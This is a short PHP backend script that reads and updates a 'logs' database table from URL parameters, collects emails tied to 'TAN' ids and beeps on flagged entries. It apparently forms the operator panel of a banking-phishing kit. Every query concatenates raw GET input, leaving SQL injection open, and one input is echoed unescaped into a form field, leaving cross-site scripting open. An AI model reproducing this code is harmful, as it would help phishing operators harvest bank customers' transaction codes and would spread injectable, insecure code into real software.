<?php
require_once('../global/inc/config.inc.php');
require_once("../global/inc/functions.php");
 
if (isset($_GET['count'])) {
    echo returnCount();
 
} elseif (isset($_GET['id'])) {
    $result = mysqli_query($conn, "SELECT * FROM `logs` ORDER BY `date` DESC");
    while($row = mysqli_fetch_array($result))
    {
        echo $row['id'];
    }
} elseif (isset($_GET['get'])) {
    $result = mysqli_query($conn, "SELECT * FROM `logs` WHERE `id` = " . $_GET['id2search']);
    while($row = mysqli_fetch_array($result))
    {
        echo $row[$_GET['get']];
    }
} elseif (isset($_GET['sendTAN'])) {
    echo "<form method='GET' action=''>";
    echo "Email: <input type='text' name='email'>";
    echo "<input type='text' value='" . $_GET['idTAN'] . "' hidden='' name='tanid'>";
    echo "<button type='submit'>Enter</button>";
    echo "</form>";
} elseif (isset($_GET['email'])) {
    updateEmail($_GET['tanid'], $_GET['email']);
    updateState("EMAIL", $_GET['tanid']);
    echo "ok";
}

if (isset($_GET['uyari']) && $_GET['uyari'] == "1") {
    echo "<script>var audio = new Audio('beep.wav'); audio.play();</script>";
    mysqli_query($conn, "UPDATE `logs` SET `uyari`='0' WHERE `id`='" . $_GET['id'] . "'");
}
?>